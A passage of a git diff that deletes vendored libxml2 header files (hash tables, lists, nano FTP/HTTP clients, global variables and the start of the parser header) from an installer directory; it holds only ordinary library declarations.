xmlFree; -#endif - -#ifdef LIBXML_THREAD_ENABLED -XMLPUBFUN xmlStrdupFunc * XMLCALL __xmlMemStrdup(void); -#define xmlMemStrdup \ -(*(__xmlMemStrdup())) -#else -XMLPUBVAR xmlStrdupFunc xmlMemStrdup; -#endif - -#else /* !LIBXML_THREAD_ALLOC_ENABLED */ -XMLPUBVAR xmlMallocFunc xmlMalloc; -XMLPUBVAR xmlMallocFunc xmlMallocAtomic; -XMLPUBVAR xmlReallocFunc xmlRealloc; -XMLPUBVAR xmlFreeFunc xmlFree; -XMLPUBVAR xmlStrdupFunc xmlMemStrdup; -#endif /* LIBXML_THREAD_ALLOC_ENABLED */ - -#ifdef LIBXML_DOCB_ENABLED -XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __docbDefaultSAXHandler(void); -#ifdef LIBXML_THREAD_ENABLED -#define docbDefaultSAXHandler \ -(*(__docbDefaultSAXHandler())) -#else -XMLPUBVAR xmlSAXHandlerV1 docbDefaultSAXHandler; -#endif -#endif - -#ifdef LIBXML_HTML_ENABLED -XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __htmlDefaultSAXHandler(void); -#ifdef LIBXML_THREAD_ENABLED -#define htmlDefaultSAXHandler \ -(*(__htmlDefaultSAXHandler())) -#else -XMLPUBVAR xmlSAXHandlerV1 htmlDefaultSAXHandler; -#endif -#endif - -XMLPUBFUN xmlError * XMLCALL __xmlLastError(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlLastError \ -(*(__xmlLastError())) -#else -XMLPUBVAR xmlError xmlLastError; -#endif - -/* - * Everything starting from the line below is - * Automatically generated by build_glob.py. - * Do not modify the previous line. - */ - - -XMLPUBFUN int * XMLCALL __oldXMLWDcompatibility(void); -#ifdef LIBXML_THREAD_ENABLED -#define oldXMLWDcompatibility \ -(*(__oldXMLWDcompatibility())) -#else -XMLPUBVAR int oldXMLWDcompatibility; -#endif - -XMLPUBFUN xmlBufferAllocationScheme * XMLCALL __xmlBufferAllocScheme(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlBufferAllocScheme \ -(*(__xmlBufferAllocScheme())) -#else -XMLPUBVAR xmlBufferAllocationScheme xmlBufferAllocScheme; -#endif -XMLPUBFUN xmlBufferAllocationScheme XMLCALL - xmlThrDefBufferAllocScheme(xmlBufferAllocationScheme v); - -XMLPUBFUN int * XMLCALL __xmlDefaultBufferSize(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDefaultBufferSize \ -(*(__xmlDefaultBufferSize())) -#else -XMLPUBVAR int xmlDefaultBufferSize; -#endif -XMLPUBFUN int XMLCALL xmlThrDefDefaultBufferSize(int v); - -XMLPUBFUN xmlSAXHandlerV1 * XMLCALL __xmlDefaultSAXHandler(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDefaultSAXHandler \ -(*(__xmlDefaultSAXHandler())) -#else -XMLPUBVAR xmlSAXHandlerV1 xmlDefaultSAXHandler; -#endif - -XMLPUBFUN xmlSAXLocator * XMLCALL __xmlDefaultSAXLocator(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDefaultSAXLocator \ -(*(__xmlDefaultSAXLocator())) -#else -XMLPUBVAR xmlSAXLocator xmlDefaultSAXLocator; -#endif - -XMLPUBFUN int * XMLCALL __xmlDoValidityCheckingDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDoValidityCheckingDefaultValue \ -(*(__xmlDoValidityCheckingDefaultValue())) -#else -XMLPUBVAR int xmlDoValidityCheckingDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefDoValidityCheckingDefaultValue(int v); - -XMLPUBFUN xmlGenericErrorFunc * XMLCALL __xmlGenericError(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlGenericError \ -(*(__xmlGenericError())) -#else -XMLPUBVAR xmlGenericErrorFunc xmlGenericError; -#endif - -XMLPUBFUN xmlStructuredErrorFunc * XMLCALL __xmlStructuredError(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlStructuredError \ -(*(__xmlStructuredError())) -#else -XMLPUBVAR xmlStructuredErrorFunc xmlStructuredError; -#endif - -XMLPUBFUN void * * XMLCALL __xmlGenericErrorContext(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlGenericErrorContext \ -(*(__xmlGenericErrorContext())) -#else -XMLPUBVAR void * xmlGenericErrorContext; -#endif - -XMLPUBFUN void * * XMLCALL __xmlStructuredErrorContext(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlStructuredErrorContext \ -(*(__xmlStructuredErrorContext())) -#else -XMLPUBVAR void * xmlStructuredErrorContext; -#endif - -XMLPUBFUN int * XMLCALL __xmlGetWarningsDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlGetWarningsDefaultValue \ -(*(__xmlGetWarningsDefaultValue())) -#else -XMLPUBVAR int xmlGetWarningsDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefGetWarningsDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlIndentTreeOutput(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlIndentTreeOutput \ -(*(__xmlIndentTreeOutput())) -#else -XMLPUBVAR int xmlIndentTreeOutput; -#endif -XMLPUBFUN int XMLCALL xmlThrDefIndentTreeOutput(int v); - -XMLPUBFUN const char * * XMLCALL __xmlTreeIndentString(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlTreeIndentString \ -(*(__xmlTreeIndentString())) -#else -XMLPUBVAR const char * xmlTreeIndentString; -#endif -XMLPUBFUN const char * XMLCALL xmlThrDefTreeIndentString(const char * v); - -XMLPUBFUN int * XMLCALL __xmlKeepBlanksDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlKeepBlanksDefaultValue \ -(*(__xmlKeepBlanksDefaultValue())) -#else -XMLPUBVAR int xmlKeepBlanksDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefKeepBlanksDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlLineNumbersDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlLineNumbersDefaultValue \ -(*(__xmlLineNumbersDefaultValue())) -#else -XMLPUBVAR int xmlLineNumbersDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefLineNumbersDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlLoadExtDtdDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlLoadExtDtdDefaultValue \ -(*(__xmlLoadExtDtdDefaultValue())) -#else -XMLPUBVAR int xmlLoadExtDtdDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefLoadExtDtdDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlParserDebugEntities(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlParserDebugEntities \ -(*(__xmlParserDebugEntities())) -#else -XMLPUBVAR int xmlParserDebugEntities; -#endif -XMLPUBFUN int XMLCALL xmlThrDefParserDebugEntities(int v); - -XMLPUBFUN const char * * XMLCALL __xmlParserVersion(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlParserVersion \ -(*(__xmlParserVersion())) -#else -XMLPUBVAR const char * xmlParserVersion; -#endif - -XMLPUBFUN int * XMLCALL __xmlPedanticParserDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlPedanticParserDefaultValue \ -(*(__xmlPedanticParserDefaultValue())) -#else -XMLPUBVAR int xmlPedanticParserDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefPedanticParserDefaultValue(int v); - -XMLPUBFUN int * XMLCALL __xmlSaveNoEmptyTags(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlSaveNoEmptyTags \ -(*(__xmlSaveNoEmptyTags())) -#else -XMLPUBVAR int xmlSaveNoEmptyTags; -#endif -XMLPUBFUN int XMLCALL xmlThrDefSaveNoEmptyTags(int v); - -XMLPUBFUN int * XMLCALL __xmlSubstituteEntitiesDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlSubstituteEntitiesDefaultValue \ -(*(__xmlSubstituteEntitiesDefaultValue())) -#else -XMLPUBVAR int xmlSubstituteEntitiesDefaultValue; -#endif -XMLPUBFUN int XMLCALL xmlThrDefSubstituteEntitiesDefaultValue(int v); - -XMLPUBFUN xmlRegisterNodeFunc * XMLCALL __xmlRegisterNodeDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlRegisterNodeDefaultValue \ -(*(__xmlRegisterNodeDefaultValue())) -#else -XMLPUBVAR xmlRegisterNodeFunc xmlRegisterNodeDefaultValue; -#endif - -XMLPUBFUN xmlDeregisterNodeFunc * XMLCALL __xmlDeregisterNodeDefaultValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlDeregisterNodeDefaultValue \ -(*(__xmlDeregisterNodeDefaultValue())) -#else -XMLPUBVAR xmlDeregisterNodeFunc xmlDeregisterNodeDefaultValue; -#endif - -XMLPUBFUN xmlParserInputBufferCreateFilenameFunc * XMLCALL \ - __xmlParserInputBufferCreateFilenameValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlParserInputBufferCreateFilenameValue \ -(*(__xmlParserInputBufferCreateFilenameValue())) -#else -XMLPUBVAR xmlParserInputBufferCreateFilenameFunc xmlParserInputBufferCreateFilenameValue; -#endif - -XMLPUBFUN xmlOutputBufferCreateFilenameFunc * XMLCALL __xmlOutputBufferCreateFilenameValue(void); -#ifdef LIBXML_THREAD_ENABLED -#define xmlOutputBufferCreateFilenameValue \ -(*(__xmlOutputBufferCreateFilenameValue())) -#else -XMLPUBVAR xmlOutputBufferCreateFilenameFunc xmlOutputBufferCreateFilenameValue; -#endif - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_GLOBALS_H */ diff --git a/installer/libxml2/include/libxml/hash.h b/installer/libxml2/include/libxml/hash.h deleted file mode 100644 index dc8ab7e..0000000 --- a/installer/libxml2/include/libxml/hash.h +++ /dev/null @@ -1,233 +0,0 @@ -/* - * Summary: Chained hash tables - * Description: This module implements the hash table support used in - * various places in the library. - * - * Copy: See Copyright for the status of this software. - * - * Author: Bjorn Reese - */ - -#ifndef __XML_HASH_H__ -#define __XML_HASH_H__ - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * The hash table. - */ -typedef struct _xmlHashTable xmlHashTable; -typedef xmlHashTable *xmlHashTablePtr; - -#ifdef __cplusplus -} -#endif - -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/* - * Recent version of gcc produce a warning when a function pointer is assigned - * to an object pointer, or vice versa. The following macro is a dirty hack - * to allow suppression of the warning. If your architecture has function - * pointers which are a different size than a void pointer, there may be some - * serious trouble within the library. - */ -/** - * XML_CAST_FPTR: - * @fptr: pointer to a function - * - * Macro to do a casting from an object pointer to a - * function pointer without encountering a warning from - * gcc - * - * #define XML_CAST_FPTR(fptr) (*(void **)(&fptr)) - * This macro violated ISO C aliasing rules (gcc4 on s390 broke) - * so it is disabled now - */ - -#define XML_CAST_FPTR(fptr) fptr - - -/* - * function types: - */ -/** - * xmlHashDeallocator: - * @payload: the data in the hash - * @name: the name associated - * - * Callback to free data from a hash. - */ -typedef void (*xmlHashDeallocator)(void *payload, xmlChar *name); -/** - * xmlHashCopier: - * @payload: the data in the hash - * @name: the name associated - * - * Callback to copy data from a hash. - * - * Returns a copy of the data or NULL in case of error. - */ -typedef void *(*xmlHashCopier)(void *payload, xmlChar *name); -/** - * xmlHashScanner: - * @payload: the data in the hash - * @data: extra scannner data - * @name: the name associated - * - * Callback when scanning data in a hash with the simple scanner. - */ -typedef void (*xmlHashScanner)(void *payload, void *data, xmlChar *name); -/** - * xmlHashScannerFull: - * @payload: the data in the hash - * @data: extra scannner data - * @name: the name associated - * @name2: the second name associated - * @name3: the third name associated - * - * Callback when scanning data in a hash with the full scanner. - */ -typedef void (*xmlHashScannerFull)(void *payload, void *data, - const xmlChar *name, const xmlChar *name2, - const xmlChar *name3); - -/* - * Constructor and destructor. - */ -XMLPUBFUN xmlHashTablePtr XMLCALL - xmlHashCreate (int size); -XMLPUBFUN xmlHashTablePtr XMLCALL - xmlHashCreateDict(int size, - xmlDictPtr dict); -XMLPUBFUN void XMLCALL - xmlHashFree (xmlHashTablePtr table, - xmlHashDeallocator f); - -/* - * Add a new entry to the hash table. - */ -XMLPUBFUN int XMLCALL - xmlHashAddEntry (xmlHashTablePtr table, - const xmlChar *name, - void *userdata); -XMLPUBFUN int XMLCALL - xmlHashUpdateEntry(xmlHashTablePtr table, - const xmlChar *name, - void *userdata, - xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashAddEntry2(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - void *userdata); -XMLPUBFUN int XMLCALL - xmlHashUpdateEntry2(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - void *userdata, - xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashAddEntry3(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - void *userdata); -XMLPUBFUN int XMLCALL - xmlHashUpdateEntry3(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - void *userdata, - xmlHashDeallocator f); - -/* - * Remove an entry from the hash table. - */ -XMLPUBFUN int XMLCALL - xmlHashRemoveEntry(xmlHashTablePtr table, const xmlChar *name, - xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashRemoveEntry2(xmlHashTablePtr table, const xmlChar *name, - const xmlChar *name2, xmlHashDeallocator f); -XMLPUBFUN int XMLCALL - xmlHashRemoveEntry3(xmlHashTablePtr table, const xmlChar *name, - const xmlChar *name2, const xmlChar *name3, - xmlHashDeallocator f); - -/* - * Retrieve the userdata. - */ -XMLPUBFUN void * XMLCALL - xmlHashLookup (xmlHashTablePtr table, - const xmlChar *name); -XMLPUBFUN void * XMLCALL - xmlHashLookup2 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2); -XMLPUBFUN void * XMLCALL - xmlHashLookup3 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3); -XMLPUBFUN void * XMLCALL - xmlHashQLookup (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *prefix); -XMLPUBFUN void * XMLCALL - xmlHashQLookup2 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *prefix, - const xmlChar *name2, - const xmlChar *prefix2); -XMLPUBFUN void * XMLCALL - xmlHashQLookup3 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *prefix, - const xmlChar *name2, - const xmlChar *prefix2, - const xmlChar *name3, - const xmlChar *prefix3); - -/* - * Helpers. - */ -XMLPUBFUN xmlHashTablePtr XMLCALL - xmlHashCopy (xmlHashTablePtr table, - xmlHashCopier f); -XMLPUBFUN int XMLCALL - xmlHashSize (xmlHashTablePtr table); -XMLPUBFUN void XMLCALL - xmlHashScan (xmlHashTablePtr table, - xmlHashScanner f, - void *data); -XMLPUBFUN void XMLCALL - xmlHashScan3 (xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - xmlHashScanner f, - void *data); -XMLPUBFUN void XMLCALL - xmlHashScanFull (xmlHashTablePtr table, - xmlHashScannerFull f, - void *data); -XMLPUBFUN void XMLCALL - xmlHashScanFull3(xmlHashTablePtr table, - const xmlChar *name, - const xmlChar *name2, - const xmlChar *name3, - xmlHashScannerFull f, - void *data); -#ifdef __cplusplus -} -#endif -#endif /* ! __XML_HASH_H__ */ diff --git a/installer/libxml2/include/libxml/list.h b/installer/libxml2/include/libxml/list.h deleted file mode 100644 index 0504e0c..0000000 --- a/installer/libxml2/include/libxml/list.h +++ /dev/null @@ -1,137 +0,0 @@ -/* - * Summary: lists interfaces - * Description: this module implement the list support used in - * various place in the library. - * - * Copy: See Copyright for the status of this software. - * - * Author: Gary Pennington - */ - -#ifndef __XML_LINK_INCLUDE__ -#define __XML_LINK_INCLUDE__ - -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct _xmlLink xmlLink; -typedef xmlLink *xmlLinkPtr; - -typedef struct _xmlList xmlList; -typedef xmlList *xmlListPtr; - -/** - * xmlListDeallocator: - * @lk: the data to deallocate - * - * Callback function used to free data from a list. - */ -typedef void (*xmlListDeallocator) (xmlLinkPtr lk); -/** - * xmlListDataCompare: - * @data0: the first data - * @data1: the second data - * - * Callback function used to compare 2 data. - * - * Returns 0 is equality, -1 or 1 otherwise depending on the ordering. - */ -typedef int (*xmlListDataCompare) (const void *data0, const void *data1); -/** - * xmlListWalker: - * @data: the data found in the list - * @user: extra user provided data to the walker - * - * Callback function used when walking a list with xmlListWalk(). - * - * Returns 0 to stop walking the list, 1 otherwise. - */ -typedef int (*xmlListWalker) (const void *data, const void *user); - -/* Creation/Deletion */ -XMLPUBFUN xmlListPtr XMLCALL - xmlListCreate (xmlListDeallocator deallocator, - xmlListDataCompare compare); -XMLPUBFUN void XMLCALL - xmlListDelete (xmlListPtr l); - -/* Basic Operators */ -XMLPUBFUN void * XMLCALL - xmlListSearch (xmlListPtr l, - void *data); -XMLPUBFUN void * XMLCALL - xmlListReverseSearch (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListInsert (xmlListPtr l, - void *data) ; -XMLPUBFUN int XMLCALL - xmlListAppend (xmlListPtr l, - void *data) ; -XMLPUBFUN int XMLCALL - xmlListRemoveFirst (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListRemoveLast (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListRemoveAll (xmlListPtr l, - void *data); -XMLPUBFUN void XMLCALL - xmlListClear (xmlListPtr l); -XMLPUBFUN int XMLCALL - xmlListEmpty (xmlListPtr l); -XMLPUBFUN xmlLinkPtr XMLCALL - xmlListFront (xmlListPtr l); -XMLPUBFUN xmlLinkPtr XMLCALL - xmlListEnd (xmlListPtr l); -XMLPUBFUN int XMLCALL - xmlListSize (xmlListPtr l); - -XMLPUBFUN void XMLCALL - xmlListPopFront (xmlListPtr l); -XMLPUBFUN void XMLCALL - xmlListPopBack (xmlListPtr l); -XMLPUBFUN int XMLCALL - xmlListPushFront (xmlListPtr l, - void *data); -XMLPUBFUN int XMLCALL - xmlListPushBack (xmlListPtr l, - void *data); - -/* Advanced Operators */ -XMLPUBFUN void XMLCALL - xmlListReverse (xmlListPtr l); -XMLPUBFUN void XMLCALL - xmlListSort (xmlListPtr l); -XMLPUBFUN void XMLCALL - xmlListWalk (xmlListPtr l, - xmlListWalker walker, - const void *user); -XMLPUBFUN void XMLCALL - xmlListReverseWalk (xmlListPtr l, - xmlListWalker walker, - const void *user); -XMLPUBFUN void XMLCALL - xmlListMerge (xmlListPtr l1, - xmlListPtr l2); -XMLPUBFUN xmlListPtr XMLCALL - xmlListDup (const xmlListPtr old); -XMLPUBFUN int XMLCALL - xmlListCopy (xmlListPtr cur, - const xmlListPtr old); -/* Link operators */ -XMLPUBFUN void * XMLCALL - xmlLinkGetData (xmlLinkPtr lk); - -/* xmlListUnique() */ -/* xmlListSwap */ - -#ifdef __cplusplus -} -#endif - -#endif /* __XML_LINK_INCLUDE__ */ diff --git a/installer/libxml2/include/libxml/nanoftp.h b/installer/libxml2/include/libxml/nanoftp.h deleted file mode 100644 index abb4bf7..0000000 --- a/installer/libxml2/include/libxml/nanoftp.h +++ /dev/null @@ -1,163 +0,0 @@ -/* - * Summary: minimal FTP implementation - * Description: minimal FTP implementation allowing to fetch resources - * like external subset. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __NANO_FTP_H__ -#define __NANO_FTP_H__ - -#include - -#ifdef LIBXML_FTP_ENABLED - -/* Needed for portability to Windows 64 bits */ -#if defined(__MINGW32__) || defined(_WIN32_WCE) -#include -#else -/** - * SOCKET: - * - * macro used to provide portability of code to windows sockets - */ -#define SOCKET int -/** - * INVALID_SOCKET: - * - * macro used to provide portability of code to windows sockets - * the value to be used when the socket is not valid - */ -#undef INVALID_SOCKET -#define INVALID_SOCKET (-1) -#endif - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * ftpListCallback: - * @userData: user provided data for the callback - * @filename: the file name (including "->" when links are shown) - * @attrib: the attribute string - * @owner: the owner string - * @group: the group string - * @size: the file size - * @links: the link count - * @year: the year - * @month: the month - * @day: the day - * @hour: the hour - * @minute: the minute - * - * A callback for the xmlNanoFTPList command. - * Note that only one of year and day:minute are specified. - */ -typedef void (*ftpListCallback) (void *userData, - const char *filename, const char *attrib, - const char *owner, const char *group, - unsigned long size, int links, int year, - const char *month, int day, int hour, - int minute); -/** - * ftpDataCallback: - * @userData: the user provided context - * @data: the data received - * @len: its size in bytes - * - * A callback for the xmlNanoFTPGet command. - */ -typedef void (*ftpDataCallback) (void *userData, - const char *data, - int len); - -/* - * Init - */ -XMLPUBFUN void XMLCALL - xmlNanoFTPInit (void); -XMLPUBFUN void XMLCALL - xmlNanoFTPCleanup (void); - -/* - * Creating/freeing contexts. - */ -XMLPUBFUN void * XMLCALL - xmlNanoFTPNewCtxt (const char *URL); -XMLPUBFUN void XMLCALL - xmlNanoFTPFreeCtxt (void * ctx); -XMLPUBFUN void * XMLCALL - xmlNanoFTPConnectTo (const char *server, - int port); -/* - * Opening/closing session connections. - */ -XMLPUBFUN void * XMLCALL - xmlNanoFTPOpen (const char *URL); -XMLPUBFUN int XMLCALL - xmlNanoFTPConnect (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPClose (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPQuit (void *ctx); -XMLPUBFUN void XMLCALL - xmlNanoFTPScanProxy (const char *URL); -XMLPUBFUN void XMLCALL - xmlNanoFTPProxy (const char *host, - int port, - const char *user, - const char *passwd, - int type); -XMLPUBFUN int XMLCALL - xmlNanoFTPUpdateURL (void *ctx, - const char *URL); - -/* - * Rather internal commands. - */ -XMLPUBFUN int XMLCALL - xmlNanoFTPGetResponse (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPCheckResponse (void *ctx); - -/* - * CD/DIR/GET handlers. - */ -XMLPUBFUN int XMLCALL - xmlNanoFTPCwd (void *ctx, - const char *directory); -XMLPUBFUN int XMLCALL - xmlNanoFTPDele (void *ctx, - const char *file); - -XMLPUBFUN SOCKET XMLCALL - xmlNanoFTPGetConnection (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPCloseConnection(void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoFTPList (void *ctx, - ftpListCallback callback, - void *userData, - const char *filename); -XMLPUBFUN SOCKET XMLCALL - xmlNanoFTPGetSocket (void *ctx, - const char *filename); -XMLPUBFUN int XMLCALL - xmlNanoFTPGet (void *ctx, - ftpDataCallback callback, - void *userData, - const char *filename); -XMLPUBFUN int XMLCALL - xmlNanoFTPRead (void *ctx, - void *dest, - int len); - -#ifdef __cplusplus -} -#endif -#endif /* LIBXML_FTP_ENABLED */ -#endif /* __NANO_FTP_H__ */ diff --git a/installer/libxml2/include/libxml/nanohttp.h b/installer/libxml2/include/libxml/nanohttp.h deleted file mode 100644 index 22b8fb4..0000000 --- a/installer/libxml2/include/libxml/nanohttp.h +++ /dev/null @@ -1,81 +0,0 @@ -/* - * Summary: minimal HTTP implementation - * Description: minimal HTTP implementation allowing to fetch resources - * like external subset. - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __NANO_HTTP_H__ -#define __NANO_HTTP_H__ - -#include - -#ifdef LIBXML_HTTP_ENABLED - -#ifdef __cplusplus -extern "C" { -#endif -XMLPUBFUN void XMLCALL - xmlNanoHTTPInit (void); -XMLPUBFUN void XMLCALL - xmlNanoHTTPCleanup (void); -XMLPUBFUN void XMLCALL - xmlNanoHTTPScanProxy (const char *URL); -XMLPUBFUN int XMLCALL - xmlNanoHTTPFetch (const char *URL, - const char *filename, - char **contentType); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPMethod (const char *URL, - const char *method, - const char *input, - char **contentType, - const char *headers, - int ilen); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPMethodRedir (const char *URL, - const char *method, - const char *input, - char **contentType, - char **redir, - const char *headers, - int ilen); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPOpen (const char *URL, - char **contentType); -XMLPUBFUN void * XMLCALL - xmlNanoHTTPOpenRedir (const char *URL, - char **contentType, - char **redir); -XMLPUBFUN int XMLCALL - xmlNanoHTTPReturnCode (void *ctx); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPAuthHeader (void *ctx); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPRedir (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoHTTPContentLength( void * ctx ); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPEncoding (void *ctx); -XMLPUBFUN const char * XMLCALL - xmlNanoHTTPMimeType (void *ctx); -XMLPUBFUN int XMLCALL - xmlNanoHTTPRead (void *ctx, - void *dest, - int len); -#ifdef LIBXML_OUTPUT_ENABLED -XMLPUBFUN int XMLCALL - xmlNanoHTTPSave (void *ctxt, - const char *filename); -#endif /* LIBXML_OUTPUT_ENABLED */ -XMLPUBFUN void XMLCALL - xmlNanoHTTPClose (void *ctx); -#ifdef __cplusplus -} -#endif - -#endif /* LIBXML_HTTP_ENABLED */ -#endif /* __NANO_HTTP_H__ */ diff --git a/installer/libxml2/include/libxml/parser.h b/installer/libxml2/include/libxml/parser.h deleted file mode 100644 index 47fbec0..0000000 --- a/installer/libxml2/include/libxml/parser.h +++ /dev/null @@ -1,1241 +0,0 @@ -/* - * Summary: the core parser module - * Description: Interfaces, constants and types related to the XML parser - * - * Copy: See Copyright for the status of this software. - * - * Author: Daniel Veillard - */ - -#ifndef __XML_PARSER_H__ -#define __XML_PARSER_H__ - -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#ifdef __cplusplus -extern "C" { -#endif - -/** - * XML_DEFAULT_VERSION: - * - * The default version of XML used: 1.0 - */ -#define XML_DEFAULT_VERSION "1.0" - -/** - * xmlParserInput: - * - * An xmlParserInput is an input flow for the XML processor. - * Each entity parsed is associated an xmlParserInput (except the - * few predefined ones). This is the case both for internal entities - * - in which case the flow is already completely in memory - or - * external entities - in which case we use the buf structure for - * progressive reading and I18N conversions to the internal UTF-8 format. - */ - -/** - * xmlParserInputDeallocate: - * @str: the string to deallocate - * - * Callback for freeing some parser input allocations. - */ -typedef void (* xmlParserInputDeallocate)(xmlChar *str); - -struct _xmlParserInput { - /* Input buffer */ - xmlParserInputBufferPtr buf; /* UTF-8 encoded buffer */ - - const char *filename; /* The file analyzed, if any */ - const char *directory; /* the directory/base of the file */ - const xmlChar *base; /* Base of the array to parse */ - const xmlChar *cur; /* Current char being parsed */ - const xmlChar *end; /* end of the array to parse */ - int length; /* length if known */ - int line; /* Current line */ - int col; /* Current column */ - /* - * NOTE: consumed is only tested for equality in the parser code, - * so even if there is an overflow this should not give troubles - * for parsing very large instances. - */ - unsigned long consumed; /* How many xmlChars already consumed */ - xmlParserInputDeallocate free; /* function to deallocate the base */ - const xmlChar *encoding; /* the encoding string for entity */ - const xmlChar *version; /* the version string for entity */ - int standalone; /* Was that entity marked standalone */ - int id; /* an unique identifier for the entity */ -}; - -/** - * xmlParserNodeInfo: - * - * The parser can be asked to collect Node informations, i.e. at what - * place in the file they were detected. - * NOTE: This is off by default and not very well tested. - */ -typedef struct _xmlParserNodeInfo xmlParserNodeInfo; -typedef xmlParserNodeInfo *xmlParserNodeInfoPtr; - -struct _xmlParserNodeInfo { - const struct _xmlNode* node; - /* Position & line # that text that created the node begins & ends on */ - unsigned long begin_pos; - unsigned long begin_line; - unsigned long end_pos; - unsigned long end_line; -}; - -typedef struct _xmlParserNodeInfoSeq xmlParserNodeInfoSeq; -typedef xmlParserNodeInfoSeq *xmlParserNodeInfoSeqPtr; -struct _xmlParserNodeInfoSeq { - unsigned long maximum; - unsigned long length; - xmlParserNodeInfo* buffer; -}; - -/** - * xmlParserInputState: - * - * The parser is now working also as a state based parser. - * The recursive one use the state info for entities processing. - */ -typedef enum { - XML_PARSER_EOF = -1, /* nothing is to be parsed */ - XML_PARSER_START = 0, /* nothing has been parsed */ - XML_PARSER_MISC, /* Misc* before int subset */ - XML_PARSER_PI, /* Within a processing instruction */ - XML_PARSER_DTD, /* within some DTD content */ - XML_PARSER_PROLOG, /* Misc* after internal subset */ - XML_PARSER_COMMENT, /* within a comment */ - XML_PARSER_START_TAG, /* within a start tag */ - XML_PARSER_CONTENT, /* within the content */ - XML_PARSER_CDATA_SECTION, /* within a CDATA section */ - XML_PARSER_END_TAG, /* within a closing tag */ - XML_PARSER_ENTITY_DECL, /* within an entity declaration */ - XML_PARSER_ENTITY_VALUE, /* within an entity value in a decl */ - XML_PARSER_ATTRIBUTE_VALUE, /* within an attribute value */ - XML_PARSER_SYSTEM_LITERAL, /* within a SYSTEM value */ - XML_PARSER_EPILOG, /* the Misc* after the last end tag */ - XML_PARSER_IGNORE, /* within an IGNORED section */ - XML_PARSER_PUBLIC_LITERAL /* within a PUBLIC value */ -} xmlParserInputState; - -/** - * XML_DETECT_IDS: - * - * Bit in the loadsubset context field to tell to do ID/REFs lookups. - * Use it to initialize xmlLoadExtDtdDefaultValue. - */ -#define XML_DETECT_IDS 2 - -/** - * XML_COMPLETE_ATTRS: - * - * Bit in the loadsubset context field to tell to do complete the - * elements attributes lists with the ones defaulted from the DTDs. - * Use it to initialize xmlLoadExtDtdDefaultValue. - */ -#define XML_COMPLETE_ATTRS 4 - -/** - * XML_SKIP_IDS: - * - * Bit in the loadsubset context field to tell to not do ID/REFs registration. - * Used to initialize 